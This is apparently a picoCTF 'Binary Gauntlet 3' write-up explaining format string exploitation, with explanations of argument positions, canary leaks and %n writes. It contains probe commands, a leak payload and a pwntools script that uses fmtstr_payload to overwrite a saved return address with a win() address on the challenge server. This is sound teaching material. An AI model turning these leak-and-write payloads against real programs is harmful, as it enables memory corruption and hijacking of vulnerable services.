Description
Level 3 of Binary Gauntlet. This time there is a format string vulnerability. Use it to leak stack addresses and overwrite the return address with the win function.
Setup
Download the binary and analyze it for format string vulnerabilities.
wget https://mercury.picoctf.net/static/.../vulnchmod +x vulnchecksec vulnSolution
Walk me through it- Step 1Confirm canary with checksec, probe with %pRun checksec to see whether a stack canary is present. Then send a row of %p to confirm the format-string bug and observe what's on the stack.bash
checksec --file=./vulnbashecho '%p %p %p %p %p %p %p %p' | ./vulnbashecho 'AAAA %p %p %p %p %p %p' | ./vulnLearn more
A format string vulnerability occurs when user-controlled input is passed directly as the format string to
printf(),sprintf(), or similar functions. Instead ofprintf(user_input), the safe pattern isprintf("%s", user_input).How printf walks its arguments. On x86-64, the first six variadic arguments are in
rdi, rsi, rdx, rcx, r8, r9.rdiis the format string itself, so the "first" argument printf reads is inrsi. After all six registers are exhausted, printf reads from the stack starting at[rsp]. That means typical leak positions for stack data are%6$pthrough whatever depth you need.printf("%1$p %2$p %3$p %4$p %5$p %6$p %7$p %8$p") | | | | | | | | rsi rdx rcx r8 r9 [rsp][rsp+8][rsp+16] (1) (2) (3) (4) (5) (6) (7) (8)On 32-bit, all variadic args come from the stack starting at
[esp+4], so%1$pis the slot right after the format string's pointer.The %n write primitive.
%nstores the number of characters printed so far into*ptrwhere ptr is the corresponding argument. Variants control the write width:%hhnwrites 1 byte,%hnwrites 2 bytes,%nwrites 4 bytes,%llnwrites 8 bytes. To write a 64-bit value you typically do four staggered%hnwrites (one per 16-bit word) because forcing printf to produce a multi-billion-character output is impractical.%cwith a width inflates the count cheaply:%65535cbumps the counter by 65535 with negligible output. - Step 2Leak the stack canary and return addressUse %p format specifiers to dump the stack. Identify the canary (typically 8 bytes ending in 0x00 on the least-significant byte) and the saved return address (will point into the binary or libc).python
python3 -c "print('%p.' * 30)" | ./vulnbash# Count which position in the output contains the canary and saved RIPLearn more
Stack canaries are random values placed between local variables and the saved return address. Before a function returns, the canary is checked against the original value; if they differ (indicating a buffer overflow), the program aborts with a stack smashing detected message.
Identifying the canary in a leak dump. glibc canaries are 8 bytes with the lowest byte forced to
0x00-- specifically so thatstrcpy-style writers cannot copy a canary onto the stack. In a row of%poutput you will see something like:(nil) 0x7ffd... 0x7f1234... 0xa1b2c3d4e5f60100 0x7ffd... ^^^^^^^^^^^^^^^^^^ canary: 8 bytes ending in 00The
...00tail is the giveaway. Stack pointers (0x7ffd...) and code pointers (0x55... PIEor0x40... non-PIE) have predictable high nibbles, while the canary is high-entropy with that null suffix.Saved RIP shape. The saved return address points back into
mainafter the call site, e.g.0x401234(non-PIE) or0x5555555551a4(PIE). Knowing the return target also reveals the binary base when PIE is on -- subtract the static address of the call site to get the runtime base. - Step 3Overwrite the return address with %nUse the format string write primitive (%hn for short writes) to overwrite the saved return address. Supply the target address on the stack and craft a format string that writes the win() function address there.python
python3 - <<'EOF' from pwn import * e = ELF('./vuln') p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>) win_addr = e.sym['win'] # First, send a leak payload p.sendline(b'%p.' * 20) leak_output = p.recvline() # Parse leaks to find canary and saved RIP positions # Second stage: use fmtstr_payload helper # fmtstr_payload(offset, {target_addr: value_to_write}) payload = fmtstr_payload(6, {saved_ret_addr: win_addr}) p.sendline(payload) p.interactive() EOFLearn more
How fmtstr_payload builds the write. Suppose you want to write
0x4011d6(the win address) to0x7ffd00001000(the saved RIP slot), and your input lands at format-arg position 6. Splitting the 8-byte target value into two 4-byte halves (or four 2-byte halves for shorter output), the helper emits something like:payload = # bytes printed so far b"%4566c" # 4566 ('A's worth) b"%8$hn" # write 4566 = 0x11d6 -> *arg8 b"%12298c" # +12298 -> total 16864 = 0x41E0 ... # (more %c%hn pairs for higher words) b"\x00\x10\x00\x00\xfd\x7f\x00\x00" # arg8 = saved RIP addr b"\x02\x10\x00\x00\xfd\x7f\x00\x00" # arg9 = saved RIP+2 ...The pointer table sits at the end of the payload because
%nreads its target pointer from the stack arg list. By padding the pointer block to a fixed offset, fmtstr_payload knows which%N$hnindex aims at which target word. Callingfmtstr_payload(offset, {addr: value})handles all of this for you, including width tricks like%cto bump the print counter cheaply.Format string vulnerabilities are rated high-severity in real-world security because they combine arbitrary read and arbitrary write in a single primitive. Modern compiler protections like
FORTIFY_SOURCEreject%nwhen the format string is in writable memory, but many codebases still have this class of bug. For more on the leak-and-write workflow, see the format string guide; for the pwntools side of orchestrating these payloads, see the pwntools guide.
Flag
picoCTF{...}
Format string vulnerabilities grant arbitrary read (leak canary/addresses via %p) and arbitrary write (overwrite return address via %n) without any buffer overflow - a powerful exploitation primitive.